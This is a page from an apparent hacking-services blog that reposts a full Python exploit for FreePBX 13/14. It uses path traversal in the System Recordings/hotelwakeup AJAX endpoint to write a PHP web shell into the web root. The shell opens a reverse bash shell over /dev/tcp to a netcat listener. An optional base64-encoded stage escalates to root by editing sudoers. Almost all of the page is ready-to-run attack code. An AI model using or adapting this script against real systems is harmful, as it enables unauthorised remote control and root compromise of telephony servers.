Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86377506

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python
'''
    Title          |  FreePBX 13 Remote Command Execution and Privilege Escalation
    Date           |  10/21/2016
    Author         |  Christopher Davis 
    Vendor         |  https://www.freepbx.org/
    Version        |  FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)
    Tested on      |  http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso 
				      http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso
    Purpose        |  This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root
    Usage          |  python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r
	Orig Author    |  pgt - nullsecurity.net 
'''
import re
import subprocess
import argparse
import random
import time
import socket
import threading

#This portion will check for requests and prompt user to install it if not already
try:
    import requests
except:
    try:
        while True:
            choice = raw_input('Requests library not found but is needed. Install? \'Y\'es or \'N\'o?\n:')
            if choice.lower() == 'y':
                subprocess.call('pip install requests',shell=True)
                import requests
                break
            elif choice.lower() == 'n':
                exit()
            else:
                continue
    except Exception as e:
        print(e)
        exit()

#Since subprocess.call will bind, we start this thread sepparate to execute after our netcat bind
def delayGet():
	global args
	try:
		time.sleep(5)
		requests.get(args.url+ '0x4148.php.call', verify=False)
	except:
		pass

if __name__ == '__main__':
	try:
		parser = argparse.ArgumentParser()
		parser.add_argument('-u', type=str, help='hostname and path. Ex- http://192.168.1.1/path/', dest='url')
		parser.add_argument('-l', type=str, help='localhost ip to listen on', dest='lhost')
		parser.add_argument('-p', type=str, help='port to listen on', dest='lport')
		parser.add_argument('-s', type=str, help="'L'ocal or 'R'oot shell attempt", dest='shell')
		parser.add_help
		args = parser.parse_args()

		#Make sure args were passed
		if args.url == None or args.lhost == None or args.lport == None or not bool(re.search(r'^(?:[L|l]|[r|R])$', args.shell)):
			parser.print_help()
			print("\nUsage:  python freepbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444")
			exit()

		#Make sure the http url is there
		if bool(re.search('[hH][tT][tT][pP][sS]?\:\/\/', args.url)) == False:
			print('There is something wrong with your url. It needs to have http:// or https://\n\n')
			exit()

		#make sure / is there, if not, put it there
		if args.url[-1:] != '/':
			args.url += '/'
		#python -c 'import pty; pty.spawn("/bin/sh")'
		#this is the php we will upload to get a reverse shell. System call to perform reverse bash shell. Nohup spawns a new process in case php dies

		#if version 13, lets try to get root, otherwise
		if args.shell.upper() == 'R':
			cmdshell = '<?php fwrite(fopen("hackerWAShere.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRpbWUNCiMgLSotIGNvZGluZzogdXRmLTggLSotIA0KY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXA0KCSdOT1BBU1NXRFw6QUxMIlw+XD5cL2V0Y1wvc3Vkb2Vycy9nXCcgL3Zhci9saWIvJyBcDQoJJ2FzdGVyaXNrL2Jpbi9mcmVlcGJ4X2VuZ2luZScNCnN1YnByb2Nlc3MuY2FsbChjbWQsIHNoZWxsPVRydWUpDQpzdWJwcm9jZXNzLmNhbGwoJ2VjaG8gYSA+IC92YXIvc3Bvb2wvYXN0ZXJpc2svc3lzYWRtaW4vYW1wb3J0YWxfcmVzdGFydCcsIHNoZWxsPVRydWUpDQp0aW1lLnNsZWVwKDIwKQ==")); system("python hackerWAShere.py; nohup sudo bash -i >& /dev/tcp/'+args.lhost+'/'+args.lport+' 0>&1 ");?>'
		else:
			cmdshell = "<?php system('nohup bash -i >& /dev/tcp/"+args.lhost+"/"+args.lport+" 0>&1 ');?>"
		
		#creates a session
		session = requests.Session()
		print('\nStarting Session')
		session.get(args.url, verify=False)
		print('\nScraping the site for a cookie')
		HEADERS = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", "Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language":"en-US,en;q=0.5","Referer": args.url + 'admin/ajax.php', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'}
		print('\nPosting evil php')
		postData = {'module':'hotelwakeup','command':'savecall','day':'now','time':'+1 week','destination':"/../../../../../../var/www/html/0x4148.php","language":cmdshell}
		result = session.post(args.url + 'admin/ajax.php', headers=HEADERS, data=postData, verify=False)
		if 'Whoops' not in result.text:
			print(result.text)
			print('\nSomething Went wrong. Was expecting a Whoops but none found.')
			exit()
		#calls the get thread which will execute 5 seconds after the netcat bind

		print('\nStarting new thread for getting evil php')
		z = threading.Thread(target=delayGet)
		z.daemon = True
		z.start()

		print('\nBinding to socket '+ args.lport + ' Please wait... May take 30 secs to get call back.\n')
		#This binds our terminal with netcat and waits for the call back
		try:
			subprocess.call('nc -nvlp '+args.lport, shell=True)
		except Exception as e:
			print(e)
		print('\nIf you saw the message "sudo: no tty present and no askpass program specified", please try again and it may work.')
	except Exception as e:
		print(e)
		print('\nSee above error')